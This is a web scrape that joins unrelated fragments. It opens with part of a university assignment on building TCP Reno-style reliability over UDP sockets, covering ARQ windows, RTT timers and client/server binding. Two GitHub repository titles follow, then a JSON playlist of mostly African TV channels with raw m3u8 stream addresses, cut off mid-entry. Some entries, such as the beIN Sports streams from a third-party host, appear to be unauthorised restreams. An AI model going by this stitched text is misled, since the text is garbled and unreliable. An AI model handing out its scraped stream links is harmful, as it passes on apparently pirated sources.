simply not to use compserv3 to run the client (but it is o.k. to use it to run the server). Finally, using MSG_DONTROUTE where possible would seem to gain us efficiency, in as much as the kernel does not need to consult the routing table for every datagram sent. But, in fact, that is not so. Recall that one effect of connect with UDP sockets is that routing information is obtained by the kernel at the time the connect is issued. That information is cached and used for subsequent sends from the connected socket (see p.255). The client now creates a UDP socket and calls bind on IPclient, with 0 as the port number. This will cause the kernel to bind an ephemeral port to the socket. After the bind, use the getsockname function (Section 4.10) to obtain IPclient and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The client connects its socket to IPserver and the well-known port number of the server. After the connect, use the getpeername function (Section 4.10) to obtain IPserver and the well-known port number of the server, and print that information out on stdout, with an appropriate message and appropriately formatted. The client sends a datagram to the server giving the filename for the transfer. This send needs to be backed up by a timeout in case the datagram is lost. Note that the incoming datagram from the client will be delivered to the server at the socket to which the destination IP address that the datagram is carrying has been bound. Thus, the server can obtain that address (it is, of course, IPserver) and thereby achieve what IP_RECVDESTADDR would have given us had it been available. Furthermore, the server process can obtain the IP address (this will, of course, be IPclient) and ephemeral port number of the client through the recvfrom or recvmsg functions. The server forks off a child process to handle the client. The server parent process goes back to the select to listen for new clients. Hereafter, and unless otherwise stated, whenever we refer to the ‘server’, we mean the server child process handling the client’s file transfer, not the server parent process. Typically, the first thing the server child would be expected to do is to close all sockets it ‘inherits’ from its parent. However, this is not the case with us. The server child does indeed close the sockets it inherited, but not the socket on which the client request arrived. It leaves that socket open for now. Call this socket the ‘listening’ socket. The server (child) then checks if the client host is local to its (extended) Ethernet. If so, all its communication to the client is to occur as MSG_DONTROUTE (or SO_DONTROUTE socket option). If IPserver (obtained in 5. above) is the loopback address, then we are done. Otherwise, the server has to proceed with the following step. Use the array of structures you built in 1. above, together with the addresses IPserver and IPclient to determine if the client is ‘local’. Print out on stdout the results of your examination, as to whether the client host is ‘local’ or not. The server (child) creates a UDP socket to handle file transfer to the client. Call this socket the ‘connection’ socket. It binds the socket to IPserver, with port number 0 so that its kernel assigns an ephemeral port. After the bind, use the getsockname function (Section 4.10) to obtain IPserver and the ephemeral port number that has been assigned to the socket, and print that information out on stdout, with an appropriate message and appropriately formatted. The server then connects this ‘connection’ socket to the client’s IPclient and ephemeral port number. The server now sends the client a datagram, in which it passes it the ephemeral port number of its ‘connection’ socket as the data payload of the datagram. This datagram is sent using the ‘listening’ socket inherited from its parent, otherwise the client (whose socket is connected to the server’s ‘listening’ socket at the latter’s well-known port number) will reject it. This datagram must be backed up by the ARQ mechanism, and retransmitted in the event of loss. Note that if this datagram is indeed lost, the client might well time out and retransmit its original request message (the one carrying the file name). In this event, you must somehow ensure that the parent server does not mistake this retransmitted request for a new client coming in, and spawn off yet another child to handle it. How do you do that? It is potentially more involved than it might seem. I will be discussing this in class, as well as ‘race’ conditions that could potentially arise, depending on how you code the mechanisms I present. When the client receives the datagram carrying the ephemeral port number of the server’s ‘connection’ socket, it reconnects its socket to the server’s ‘connection’ socket, using IPserver and the ephemeral port number received in the datagram (see p.254). It now uses this reconnected socket to send the server an acknowledgment. Note that this implies that, in the event of the server timing out, it should retransmit two copies of its ‘ephemeral port number’ message, one on its ‘listening’ socket and the other on its ‘connection’ socket (why?). When the server receives the acknowledgment, it closes the ‘listening’ socket it inherited from its parent. The server can now commence the file transfer through its ‘connection’ socket. The net effect of all these binds and connects at server and client is that no ‘outsider’ UDP datagram (broadcast, multicast, unicast - fortuitously or maliciously) can now intrude on the communication between server and client. Starting with the first datagram sent out, the client behaves as follows. Whenever a datagram arrives, or an ACK is about to be sent out (or, indeed, the initial datagram to the server giving the filename for the transfer), the client uses some random number generator function random() (initialized by the client.in argument value seed) to decide with probability p (another client.in argument value) if the datagram or ACK should be discarded by way of simulating transmission loss across the network. (I will briefly discuss in class how you do this.) Adding reliability to UDP The mechanisms you are to implement are based on TCP Reno. These include : Reliable data transmission using ARQ sliding-windows, with Fast Retransmit. Flow control via receiver window advertisements. Congestion control that implements : SlowStart Congestion Avoidance (‘Additive-Increase/Multiplicative Decrease’ – AIMD) Fast Recovery (but without the window-inflation aspect of Fast Recovery) Only some, and by no means all, of the details for these are covered below. The rest will be presented in class, especially those concerning flow control and TCP Reno’s congestion control mechanisms in general : Slow Start, Congestion Avoidance, Fast Retransmit and Fast Recovery. Implement a timeout mechanism on the sender (server) side. This is available to you from Stevens, Section 22.5 . Note, however, that you will need to modify the basic driving mechanism of Figure 22.7 appropriately since the situation at the sender side is not a repetitive cycle of send-receive, but rather a straightforward progression of send-send-send-send- . . . . . . . . . . . Also, modify the RTT and RTO mechanisms of Section 22.5 as specified below. I will be discussing the details of these modifications and the reasons for them in class. Modify function rtt_stop (Fig. 22.13) so that it uses integer arithmetic rather than floating point. This will entail your also having to modify some of the variable and function parameter declarations throughout Section 22.5 from float to int, as appropriate. In the unprrt.h header file (Fig. 22.10) set : RTT_RXTMIN to 1000 msec. (1 sec. instead of the current value 3 sec.) RTT_RXTMAX to 3000 msec. (3 sec. instead of the current value 60 sec.) RTT_MAXNREXMT to 12 (instead of the current value 3) In function rtt_timeout (Fig. 22.14), after doubling the RTO in line 86, pass its value through the function rtt_minmax of Fig. 22.11 (somewhat along the lines of what is done in line 77 of rtt_stop, Fig. 22.13). Finally, note that with the modification to integer calculation of the smoothed RTT and its variation, and given the small RTT values you will experience on the cs / sbpub network, these calculations should probably now be done on a millisecond or even microsecond scale (rather than in seconds, as is the case with Stevens’ code). Otherwise, small measured RTTs could show up as 0 on a scale of seconds, yielding a negative result when we subtract the smoothed RTT from the measured RTT (line 72 of rtt_stop, Fig. 22.13). Report the details of your modifications to the code of Section 22.5 in the ReadMe file which you hand in with your code. We need to have a sender sliding window mechanism for the retransmission of lost datagrams; and a receiver sliding window in order to ensure correct sequencing of received file contents, and some measure of flow control. You should implement something based on TCP Reno’s mechanisms, with cumulative acknowledgments, receiver window advertisements, and a congestion control mechanism I will explain in detail in class. For a reference on TCP’s mechanisms generally, see W. Richard Stevens, TCP/IP Illustrated, Volume 1 , especially Sections 20.2 - 20.4 of Chapter 20 , and Sections 21.1 - 21.8 of Chapter 21 . Bear in mind that our sequence numbers should count datagrams, not bytes as in TCP. Remember that the sender and receiver window sizes have to be set according to the argument values in client.in and server.in, respectively. Whenever the sender window becomes full and so ‘locks’, the server should print out a message to that effect on stdout. Similarly, whenever the receiver window ‘locks’, the client should print out a message on stdout. Be aware of the potential for deadlock when the receiver window ‘locks’. This situation is handled by having the receiver process send a duplicate ACK which acts as a window update when its window opens again (see Figure 20.3 and the discussion about it in TCP/IP Illustrated). However, this is not enough, because ACKs are not backed up by a timeout mechanism in the event they are lost. So we will also need to implement a persist timer driving window probes in the sender process (see Sections 22.1 & 22.2 in Chapter 22 of TCP/IP Illustrated). Note that you do not have to worry about the Silly Window Syndrome discussed in Section 22.3 of TCP/IP Illustrated since the receiver process consumes ‘full sized’ 512-byte messages from the receiver buffer (see 3. below). Report on the details of the ARQ mechanism you implemented in the ReadMe file you hand in. Indeed, you should report on all the TCP mechanisms you implemented in the ReadMe file, both the ones discussed here, and the ones I will be discussing in class. Make your datagram payload a fixed 512 bytes, inclusive of the file transfer protocol header (which must, at the very least, carry: the sequence number of the datagram; ACKs; and advertised window notifications). The client reads the file contents in its receive buffer and prints them out on stdout using a separate thread. This thread sits in a repetitive loop till all the file contents have been printed out, doing the following. It samples from an exponential distribution with mean µ milliseconds (read from the client.in file), sleeps for that number of milliseconds; wakes up to read and print all in-order file contents available in the receive buffer at that point; samples again from the exponential distribution; sleeps; and so on. The formula -1 × µ × ln( random( ) ) , where ln is the natural logarithm, yields variates from an exponential distribution with mean µ, based on the uniformly-distributed variates over ( 0 , 1 ) returned by random(). Note that you will need to implement some sort of mutual exclusion/semaphore mechanism on the client side so that the thread that sleeps and wakes up to consume from the receive buffer is not updating the state variables of the buffer at the same time as the main thread reading from the socket and depositing into the buffer is doing the same. Furthermore, we need to ensure that the main thread does not effectively monopolize the semaphore (and thus lock out for prolonged periods of time) the sleeping thread when the latter wakes up. See the textbook, Section 26.7, ‘Mutexes: Mutual Exclusion’, pp.697-701. You might also find Section 26.8, ‘Condition Variables’, pp.701-705, useful. You will need to devise some way by which the sender can notify the receiver when it has sent the last datagram of the file transfer, without the receiver mistaking that EOF marker as part of the file contents. (Also, note that the last data segment could be a “short” segment of less than 512 bytes – your client needs to be able to handle this correctly somehow.) When the sender receives an ACK for the last datagram of the transfer, the (child) server terminates. The parent server has to take care of cleaning up zombie children. Note that if we want a clean closing, the client process cannot simply terminate when the receiver ACKs the last datagram. This ACK could be lost, which would leave the (child) server process ‘hanging’, timing out, and retransmitting the last datagram. TCP attempts to deal with this problem by means of the TIME_WAIT state. You should have your receiver process behave similarly, sticking around in something akin to a TIME_WAIT state in case in case it needs to retransmit the ACK. In the ReadMe file you hand in, report on how you dealt with the issues raised here: sender notifying receiver of the last datagram, clean closing, and so on. Output Some of the output required from your program has been described in the section Operation above. I expect you to provide further output – clear, well-structured, well-laid-out, concise but sufficient and helpful – in the client and server windows by means of which we can trace the correct evolution of your TCP’s behaviour in all its intricacies : information (e.g., sequence number) on datagrams and acks sent and dropped, window advertisements, datagram retransmissions (and why : dup acks or RTO); entering/exiting Slow Start and Congestion Avoidance, ssthresh and cwnd values; sender and receiver windows locking/unlocking; etc., etc. . . . . The onus is on you to convince us that the TCP mechanisms you implemented are working correctly. Too many students do not put sufficient thought, creative imagination, time or effort into this. It is not the TA’s nor my responsibility to sit staring at an essentially blank screen, trying to summon up our paranormal psychology skills to figure out if your TCP implementation is really working correctly in all its very intricate aspects, simply because the transferred file seems to be printing o.k. in the client window. Nor is it our responsibility to strain our eyes and our patience wading through a mountain of obscure, ill-structured, hyper-messy, debugging-style output because, for example, your effort-conserving concept of what is ‘suitable’ is to dump your debugging output on us, relevant, irrelevant, and everything in between.
michelderooij / Remove DuplicateItemsScript to remove duplicate items from Exchange mailboxes.
bermufine / Dcmp{"categories":[{"name":"Movies","videos":[{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. Elle a pris son nom actuel le 17 mai 1997, à la suite de l'arrivée au pouvoir d'AFDL, le parti de Laurent-Désiré Kabila.","sources":["http://178.33.237.146/rtnc1.m3u8"],"subtitle":"By Radio Télévision Nationale Congolaise","thumb":"https://od.lk/s/M18yNDU0Njk2MjZf/RTNC.jpegg","title":"RTNC"},{"description":"Tele Congo est une chaine nationale du congo brazza en diffusant des emissions, informations, sports, theatres, musique et autres....","sources":["https://stream.mmsiptv.com/droid/rtnc/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODYwMjFf/telecongo.jpg","title":"TELE CONGO TV / BRAZZAVILLE"},{"description":"Bein Sports 1 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein1/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MzBf/beinone.png","title":"BEIN SPORT 1 / SPORTS"},{"description":"Bein Sport 2 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein2/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MThf/beintwo.png","title":"BEIN SPORT 2 / SPORTS"},{"description":"Bein Sport 3 est une chaine televisee sportives","sources":["https://stream.mmsiptv.com/droid/bein3/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://od.lk/s/M18yNTkxODU4MDZf/beintree.png","title":"BEIN SPORTS 3 / SPORTS"},{"description":"La Radio-Télévision nationale congolaise est créée en 1945. Elle prend le nom de « Office zaïrois de radiodiffusion et de télévision (OZRT) » à l'époque du Zaïre de 1971 à 1997, elle était d'ailleurs la seule agence zaïroise à diffuser sur les ondes hertziennes depuis la loi de 1972. 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Sa ligne éditoriale est axée sur les deux Congo décomplexé, un Congo qui va de l'avant et gagne !.","sources":["http://cms-streamaniak.top/Cdirect/CDIRECT/index.m3u8"],"subtitle":"By Channel","thumb":"https://cdirect.tv/assets/img/logo-cdirect.ico","title":"CDIRECT TV / Kinshasa-Brazzaville"},{"description":"DBM TV ou digital black Music est une Chaîne TV à thématique musicale, DBM a pour vocation de révéler et promouvoir la musique Afro Urbaine, qu’elle soit d’Afrique ou d’ailleurs info@dbm-tv.com. .","sources":["https://dbmtv.vedge.infomaniak.com/livecast/smil:dbmtv.smil/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://www.dbm-tv.fr/wp-content/uploads/2017/12/logo-dbm.png","title":"DBM TV / Music "},{"description":"La LUMIÈRE, ministère Chrétien pour annoncer l’évangile de Jésus Christ partout dans le monde, toucher changer et sauver des vies par la puissance de la parole de DIEU avec des enseignements prédications adorations louanges partages de prières, d’exhortations et de témoignages","sources":["https://video1.getstreamhosting.com:1936/8248/8248/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://cdn.shortpixel.ai/client/q_glossy,ret_img,w_124,h_124/https://telepack.net/wp-content/uploads/2020/05/lumiere-tv.png","title":"La Lumiere TV / Gospel"},{"description":"La Télévision Togolaise (TVT) est le nom de l'unique chaîne de télévision publique togolaise, Crée depuis 1979.","sources":["http://54.38.92.12/tvt.m3u8"],"subtitle":"By Google","thumb":"https://amp.live-tv-channels.org/pt-data/uploads/logo/tg-tv.jpg","title":"Télévision Togolais"},{"description":"CRTV est un service de radio et de télévision contrôlé par le gouvernement au Cameroun. Cela a commencé sous le nom de Cameroon Television (CTV) et a ensuite fusionné avec le service de radio pour devenir CRTV. Il couvre l'ensemble des dix régions du Cameroun, ce qui en fait le diffuseur indomptable parmi plusieurs chaînes de télévision privées du pays. Sa couverture des événements est généralement considérée comme pro-gouvernementale. Les programmes de la CRTV comprennent des documentaires, des magazines, des analyses d'actualités et des séries importées d'Asie et du Brésil..","sources":["http://178.33.237.146/crtv.m3u8"],"subtitle":"By Channel","thumb":"http://www.cameroonconcordnews.com/wp-content/uploads/2018/03/CRTV-new.jpg","title":"Cameroune Radio Télévision"},{"description":"Impact TV c'est une premiere Chaine televisee chretienne diffusant au Burkina-Fasso sur satelite innauguree le 07/03/2008 par Marie Sophie.","sources":["https://edge10.vedge.infomaniak.com/livecast/impacttele/chunklist_w973675047.m3u8"],"subtitle":"By Channel","thumb":"https://i1.wp.com/www.livetvliveradio.com/wp-content/uploads/2017/07/impact-tv.jpg?fit=259%2C194","title":"Impact TV / Burkina Fasso"},{"description":"Kigali Channel 2 ( Là pour vous) est une chaine televisee Rwandaise emmetant a Kigali. KC2 se diversite par sa diffusion des emitions exceptionnelle ainsi que des films nouveautes et plein d'autres.","sources":["https://5c46fa289c89f.streamlock.net/kc2/kc2/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://encrypted-tbn0.gstatic.com/images?q=tbn%3AANd9GcQfQjI8jUhMPReWg0MOdw1xpAAXMP7YAuZKBg&usqp=CAU","title":"KC2 TV / Rwanda"},{"description":"Equinox est une chaîne de télévision basée au Cameroun. Peu de temps après son lancement, il est devenu l'un des critiques les plus virulents du régime de Paul Biya. La station était connue pour avoir diffusé des images en direct d'une manifestation politique contre le changement constitutionnel au Cameroun qui favorisait le maintien au pouvoir du président Biya après 2011, alors qu'il lui était interdit par la Constitution de se présenter à nouveau. La télévision appartient au magnat des affaires de la région ouest du Cameroun, Severin Tchounke, qui possède également un quotidien critique, La Nouvelle Expression.","sources":["http://178.33.237.146/equinoxetv.m3u8"],"subtitle":"By Channel","thumb":"https://camer-press.com/wp-content/uploads/2020/04/Equinoxe-Tv.jpg","title":"Equinoxetv"},{"description":"Rwanda Télévision (RTV) est la premiere chaîne public du Rwanda qui fournit des informations et des divertissements quotidiens au public rwandais en trois langues: anglais, français et kinyarwanda géré par l'industrie de la télévision rwandaise , mais ce derniere est composée de 12 chaînes de télévision dont 84% télévisions sont détenues par des privés (10 sur 12) tandis que 8% appartiennent respectivement à des organisations publiques et religieuses. L'Agence nationale de radiodiffusion rwandaise.","sources":["https://5c46fa289c89f.streamlock.net/rtv/rtv/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://maps.prodafrica.com/wp-content/uploads/2020/03/10191_RBA_002.png","title":"RTV"},{"description":"IBN TV est un radiodiffuseur islamique de télévision et de radio qui transmet IBN TV et Radio Maarifa de Dar es Salaam et Tanga respectivement. Il a été crée sous la direction de la Fondation Al Itrah et a été diffusé officiellement depuis Mars 2003. IBN TV est un média privé qui a commencé après la libéralisation de l’industrie des médias en Tanzanie. IBN TV est la première chaîne islamique en Tanzanie. Il couvre presque toute la région de Dar es Salaam, Tanga, Arusha et Mwanza. IBN TV diffuse en quatre langues différentes, à savoir l’anglais, le swahili, le gujarati et l’ourdou.","sources":["http://138.68.138.119:8080/low/5a8993709ea19/index.m3u8"],"subtitle":"By Channel","thumb":"http://www.alitrah.co.tz/wp-content/uploads/sites/3/2015/10/ibntvafrica.png","title":"IBN TV"},{"description":"RTB est une chaîne de télévision publique générale dirigée par l’Établissement public d’État. Son siège social est situé dans la capitale du Burkina Faso, à Ouagadougou. Il est diffusé en direct à la télévision terrestre et sur Internet. Cette chaîne africaine diffuse des nouvelles télévisées en Français. Mais en général, les flashs de nouvelles sont dans la langue nationale comme Lobiri, Bwamu, Gulmancéma ainsi que Bissa. RTB offre un programme avec de nombreux magazines sur le sport, l’économie, la culture, la santé et la jeunesse.","sources":["https://edge8.vedge.infomaniak.com/livecast/ik:rtbtvlive1/manifest.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/en/c/c0/RTB_Sukmaindera.png","title":"Radio Television Burkina Fasso"},{"description":"Eri-TV est une chaîne de télévision érythréenne appartenant à l'État. Basée dans la capitale du pays, Asmara, elle diffuse 24 heures sur 24. La station propose des bulletins d'information 24 heures sur 24, des émissions-débats et des programmes culturels et éducatifs. Eri-TV a une large base d'audience en dehors de l'Érythrée, que la chaîne publique reconnaît et utilise pour communiquer avec les Érythréens vivant à l'étranger. Le réseau compte environ 1 à 2 millions de téléspectateurs par semaine. Eri-TV reconnaît la culture minoritaire érythréenne et a largement adopté un partage de temps égal entre chacune des langues parlées du pays.","sources":["http://217.182.137.206/eri.m3u8"],"subtitle":"By Channel","thumb":"https://eri.tv/images/eri-tv-live.png","title":"ERITRIE TV"},{"description":"Créée au Sénégal par le GROUPE D-MEDIA, SENTV, 1ère Chaîne Urbaine au Sénégal, consacre sa programmation au traitement de l'actualité nationale et internationale et à la culture urbaine sénégalaise et africaine en générale. Elle émet sur hertzien depuis 2009 et est désormais disponible sur satellite via le bouquet Canal + Afrique et les bouquets IPTV à l'international. Une chaîne généraliste et orientée urbaine, constituant ainsi une offre originale et unique au Sénégal. Une part importante de ses programmes est constituée par des rendez-vous d’actualité sur une rythmique quotidienne et des émissions phares orientées Société et Divertissement.","sources":["http://46.105.114.82/tfm_senegal.m3u8"],"subtitle":"By Channel","thumb":"https://www.xalat.info/wp-content/uploads/2019/02/maxresdefault-2.jpg","title":"SENEGAL TV"},{"description":"RTB diffuse des emissions ainsi que les Sports, Musique, Culture et Films d'Action.","sources":["http://46.105.114.82/rtb1.m3u8"],"subtitle":"By Channel","thumb":"https://live-tv-channels.org/pt-data/uploads/logo/bf-rtb-tv-8682.jpg","title":"RTB"},{"description":"LEEEKO est un ensemble de médias web radio et tv, créé le 1er Decembre 2016 par Serges OLUBI, passionné de musiques. LEEEKO diffuse une diversité des musique telsque: Rhumba, Zouk, Ndombolo, Rnb, Classic, Jazz et autres à travers l'Afrique.","sources":["http://livetvsteam.com:1935/leeeko/leeeko/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://is2-ssl.mzstatic.com/image/thumb/Purple113/v4/c9/76/95/c9769524-8604-49ac-108e-efca1d025a99/source/512x512bb.jpg","title":"LEEKO MUSIQUE TV"},{"description":"La Radio Télévision Guinéenne (RTG), l’un des premiers organes de presse public du pays, est absente dans plusieurs villes de l’intérieur du pays. Et ce après 42 ans depuis sa création. Par endroits, les signaux de la RTG sont totalement absents depuis plusieurs années. Par contre, dans certaines préfectures, malgré la réception des signaux, faute d’énergie, les populations sont privées des émissions de la RTG, a-t-on constaté.","sources":["http://178.33.237.146/rtg.m3u8"],"subtitle":"By Blender Channel","thumb":"http://maliactu.info/wp-content/uploads/2019/08/rtg-radio-television-guineenne.png","title":"Radio Television Guinéenne "},{"description":"MTA Africa 1 (anciennement MTA Africa) est la quatrième chaîne de télévision par satellite du réseau MTA International. Il a été lancé début août 2016, diffusant spécifiquement pour les téléspectateurs africains, à travers l'Afrique et l'Europe. La chaîne a été créée sous les auspices de Mirza Masroor Ahmad, le chef spirituel de la communauté musulmane Ahmadiyya. MTA Africa est géré et financé volontairement par les Ahmadis.","sources":["https://ooyalahd2-f.akamaihd.net/i/mtaengaudio_delivery@138280/index_3000_av-p.m3u8"],"subtitle":"By Blender Channel","thumb":"https://pbs.twimg.com/profile_images/950498775893774338/XKhzDO2.jpg","title":"MTA AFRICA"},{"description":"L’Office de Radiodiffusion et Télévision du Bénin (ORTB) est le service public de l’audiovisuel du Bénin. C’est un établissement public à caractères social, culturel et scientifique doté de la personnalité morale et de l’autonomie financière. ORTB, pas sans vous !/ Tél: +229 21 30 00 48/ Whatsapp: +229 69 70 55 55/ Email: contact@ortb.bj","sources":["http://51.77.223.83/ortb.m3u8"],"subtitle":"By Channel","thumb":"https://www.lavoixduconsommateur.org/images/services/1533219563.jpg","title":"ORTB / Bénin"},{"description":"Dream Channel est une chaine télévisée ematant au cameroune qui diffuse de la musique de toutes tendances.","sources":["http://connectiktv.ddns.net:5000/dreamchannel/dreamchannel/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://connectik.tv/wp-content/uploads/2019/06/c1b45634-2f8c-47e7-8849-e6d7ea620465-300x169.jpg","title":"DREAM CHANNEL TV / Cameroune"},{"description":"Canal Algérie est la deuxième chaîne de télévision nationale grand public algérienne. La chaîne fait partie du groupe EPTV qui comprend également TV1, TV3, TV4, TV5, TV6 et TV7. C'est une chaîne francophone. La chaîne diffuse ses programmes 24h / 24 et 7j / 7 via différentes plateformes et partout dans le monde.","sources":["http://46.105.114.82/canal_algerie.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/2/22/Logo_Canal_Algerie.svg/800px-Logo_Canal_Algerie.svg.png","title":"Canal Algerie"},{"description":"Radio Télévision Sénegalaise est une station de radio diffusée sur le réseau de Radiodiffusion Télévision Sénégalaise (RTS1 HD) de Dakar, au Sénégal, fournissant des informations, des sports, des débats, des émissions en direct et des informations sur la culture ainsi que la musique.","sources":["http://46.105.114.82/rts1.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/VZyPxURRRo-C0lEWHggT8C-dDJvFNFTVxKrn1yKUNROoT85XnOl9VcmM5HFzyRDwvgs","title":"Radio Télévision Sénegalaise 1 HD"},{"description":"Kalsan est une chaîne de télévision Somalienne dont le siège est à Londres. Elle a commencé à diffuser en 2013. La chaîne est axée sur les Somaliens. La programmation est principalement axée sur les actualités et les divertissements.","sources":["http://cdn.mediavisionuae.com:1935/live/kalsantv.stream/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://xogdoonnews.net/wp-content/uploads/2017/11/kalsan-tv.jpg","title":"KALSAN TV / Somalie"},{"description":"One Africa Television est une chaine de television namibien crée en 2003 et couvrant à l'origine uniquement Windhoek, Rehoboth et Okahandja, One Africa Television a connu une croissance significative, avec son signal diffusé via 29 émetteurs analogiques à travers la Namibie. En 2013, One Africa Television a rejoint l'ère numérique, et la chaîne est depuis disponible sur le réseau de télévision numérique terrestre de la Namibian Broadcasting Corporation (Channel 301) ainsi que sur la plateforme DStv Namibia de MultiChoice (Channel 284) ainsi que sur le réseau numérique terrestre GoTV de MultiChoice. Président du groupe d'Africa Television, Paul van Schalkwyk, a été tué dans un accident d'avion le 10 mars 2014.","sources":["https://za-tv2a-wowza-origin02.akamaized.net/oneafrica/smil:oneafrica/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://neweralive.na/uploads/2016/11/Untitled-1.jpg","title":"ONE AFRICA TV / Namibia"},{"description":"VISION4 TV est une chaine television panafricanisme Camerounais crée en 2008. qui diffuse des Émissions hauts de gamme telsque : Afro Café, Matinale infos, le journal d'afrique, tour d'horizon, journal de 12, women's story, The 6h00 pm news, Let's talk, Meeting point le grand live, le grand journal de 20h, santé spirituelle, sport time, Arrêt majeur, Au cœur du mystère, parole d'artistes, Femme attitude, Panafritude, Rendez-vous santé, afro zik, Club d'élites, Plateau du Jaguar, Dimanche bonheur, face aux dinosaures. Vision 4 Le Groupe Anecdote Vision 4 TV, Satelite FM, Africa Express Siège social : Yaoundé - Cameroun (Nsam) Secrétariat PDG : Tel : +237 242 71 88 13 / Fax : +237 222 31 67 81 Service de l'information : Tel : +237 242 71 87 68 Yaoundé Centre B.P 25070 Cameroun","sources":["http://cdnamd-hls-globecast.akamaized.net/live/ramdisk/vision4/hls_video/index.m3u8"],"subtitle":"By Channel","thumb":"https://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Vision_4.jpg/600px-Vision_4.jpg","title":"VISION 4"},{"description":"Nago TV is a Haitian television channel 100% devoted to music videos(Compass, Rap Creole, Racine).","sources":["http://haititivi.com:8088/haititv/tele6NY/index.m3u8"],"subtitle":"By Channel","thumb":"https://lh3.googleusercontent.com/GdAVtX7AU8834RaKoUC4c3itv2A_R1k8XATBf26G_IgQKnvxEtAew0cJOr_kWOpWkpY","title":"NAGO TV / Haiti"},{"description":"Lagos Television has been a trail blazer right from inception. Apart from being the first TV station outside the NTA family, the station took the Nigerian TV industry by storm in the early 80s with the introduction of a 60-hour non stop weekend from 7pm on Fridays till 7am on Mondays. The then Lagos weekend Television was the first marathon TV station in Africa. It’s unprecedented public approval transformed TV viewership especially within the Lagos precinct and brought a change in the call sign LTV/LWT.","sources":["http://185.105.4.193:1935/ltv/myStream/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://www.lagostelevision.com/wp-content/uploads/2015/10/logo.png","title":"Lagos Television"},{"description":"Emmanuel TV is the television station of The Synagogue, Church Of All Nations, broadcasting 24/7 around the globe via satellite and on the internet. The purpose of Emmanuel TV is to preach the Good News to all mankind. That is what we are born for, living for and what we shall die for. Emmanuel TV is committed to changing lives, changing nations and changing the whole world through the Gospel of our Lord Jesus Christ. Jesus Christ is the inspiration behind Emmanuel TV; as such, God’s purpose is our purpose.","sources":["https://api.new.livestream.com/accounts/23202872/events/7200883/live.m3u8"],"subtitle":"By Channel","thumb":"https://scoan-website-emmanueltv.netdna-ssl.com/wp-content/blogs.dir/12/files/2016/09/emmanuel_tv_icon.png","title":"Emmanuel TV"},{"description":"Addis TV is a City Channel based in Addis Ababa, Ethiopia, which broadcasts News and Programs 24/7.","sources":["https://rrsatrtmp.tulix.tv/addis1/addis1multi.smil/playlist.m3u8"],"subtitle":"By Channel","thumb":"https://et.heytv.org/wp-content/uploads/2019/04/Addis-webtvonlive-com.jpg","title":"Addis TV / Ethiopia"},{"description":"Resurrection TV is a Christian based station aimed at uplifting your soul with an unadulterated word of God. it ensures a distinction between sin and righteousness.","sources":["http://rtmp.ottdemo.rrsat.com/rrsatrtv1/rrsatrtvmulti.smil/chunklist.m3u8"],"subtitle":"By Channel","thumb":"https://i.pinimg.com/564x/9e/f5/ae/9ef5aeb5c1ddd05a20d27faaf5d9b931.jpg","title":"Résurrection TV/ Ghana"},{"description":"CTV frique est une television camerounaise basee a yaounde.","sources":["http://connectiktv.ddns.me:8080/ctv-africa/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/01/CTV-1-300x212.jpeg","title":"CTV AFRICA"},{"description":"BEL TV est une station de télévision haïtienne qui diffuse sur le web via diverses plateformes et par câble. Notre vision est de créer une télévision standard dont la qualité du programme est aussi instructive que divertissante. À cote de cette vision, BEL TV s’est fixé pour mission de promouvoir la Culture haïtienne, à savoir le Cinéma, la musique, la littérature et bien plus encore, ce à travers la Caraïbe et le monde entier. BEL TV c’est une toute autre façon de faire la télé.","sources":["http://connectiktv.ddns.me:8080/afriqueplustv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/07/NEW-LOGO0047_00000_00000-300x169.png","title":"AFRICA PLUS TV "},{"description":"1 ok.","sources":["http://connectiktv.ddns.me:8080/mygospel/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mygospel-300x140.png","title":"MY GOSPEL TV"},{"description":"2 ok.","sources":["http://connectiktv.ddns.me:8080/media-prime/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myprime15-300x140.png","title":"MEDIA PRIME TV"},{"description":"3 ok.","sources":["http://connectiktv.ddns.me:8080/mymusic/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/mymusic1.png","title":"MY MUSIC TV "},{"description":"4 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-en/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myenglish-300x140.png","title":"MY MOVIE TV / English"},{"description":"5 ok.","sources":["http://connectiktv.ddns.me:8080/mymovie-fr/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2020/05/myfresh-300x140.png","title":"MY MOVIE TV / Francais"},{"description":"6 ok","sources":["http://connectiktv.ddns.me:8080/bikutsitv/index.m3u8"],"subtitle":"By Channel","thumb":"http://connectik.tv/wp-content/uploads/2019/09/bikutsi-300x63.jpeg","title":"BIKUTSI 